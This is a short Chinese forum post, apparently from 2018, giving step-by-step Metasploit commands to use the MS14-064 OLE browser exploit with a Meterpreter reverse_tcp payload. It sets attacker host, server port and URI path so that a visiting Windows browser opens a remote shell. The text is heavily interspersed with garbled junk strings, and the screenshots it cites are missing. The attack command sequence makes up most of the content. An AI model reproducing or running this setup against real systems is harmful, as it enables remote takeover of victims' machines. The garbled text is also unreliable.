, w ^# E [8 k+ o* f 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示
% `' t3 h# Y9 e9 U
; B( C6 ^, u$ @
# I' I9 C9 \- W' L1 J 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图：
2 S! z+ v. w. J9 h
; x7 E/ a& u7 a
+ @/ \; t# Q0 Z: O 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp4 p: h* c/ w/ ^& \
" x8 z/ f$ N8 E5 Y
# V6 ^1 G0 _$ a% M2 ]! f set AllowPowershellPrompt true
1 y$ c& f) r5 e+ t+ V* A# p8 [6 U
( \0 C/ ]* x5 }8 a9 `0 A' p7 h! l* T* p& x" Z: [2 u
Set LHOST 192.168.0.109" G! l& W$ O2 @& r/ c* o8 |
4 n5 z$ P+ C4 ?& y
( y5 a) f7 s( F5 v% }9 d0 D
set SRVHOST 192.168.0.109
/ ~/ I8 O7 ]- f+ f; z# k
$ @: V8 U* U! @9 \7 f! z2 c! x1 o0 F. B( m8 N. O- l
Set uripath share3 n* R- f. W9 m, i* q4 n0 B1 p
* Z" ~$ x% w1 \9 M% F k
* Q& g+ o; B% }: T) b+ z/ X Set srvport 80, V% Q5 o, F2 h/ O* u, Y4 |
" i/ a/ B( h+ a+ Q+ Z6 G" ^) V) o5 B
6 v" z7 R9 A! y8 V ?4 x) `3 q' M
# y3 H6 a* K& _! M" Z' ?
1 ] a8 a: A% ?. K
4 Q& F* T* f* p
0 L, b4 c6 d/ Y* ^; Z" j
Z5 w; r! f2 r/ a
$ c3 b' X8 N- s/ d0 _
$ ]/ N: A" I% K9 Y/ m# d
/ y3 y& s" k1 g) Q
) a# f0 j- Z' x4 G
/ J6 N) n# z1 z* V9 E
. n1 W& e& ~! V# J* K
, r" G6 `( ~4 d
% w! C, S) j$ \' T1 ]+ l4 s3 @2 M
1 T/ g2 ~" y8 {2 P9 Q 下面我们来访问本地地址如图：
! k' x% t3 S0 P; l4 \
$ ] p! Z* K7 ~4 {* q+ J( b `7 b# R o6 B: S
" v0 H7 w. P# I+ d% a
. X2 u' o! h: M/ l: N: C f# X3 S7 w" o9 X# c
+ {2 Z( l; @ t5 b9 Y
2 b& p. h, ]! k$ |9 E s( g) K
3 j9 [, M, z: z5 x 
0 k& k! w0 V& c
发表于 2018-10-20 20:20:35
收藏
支持
反对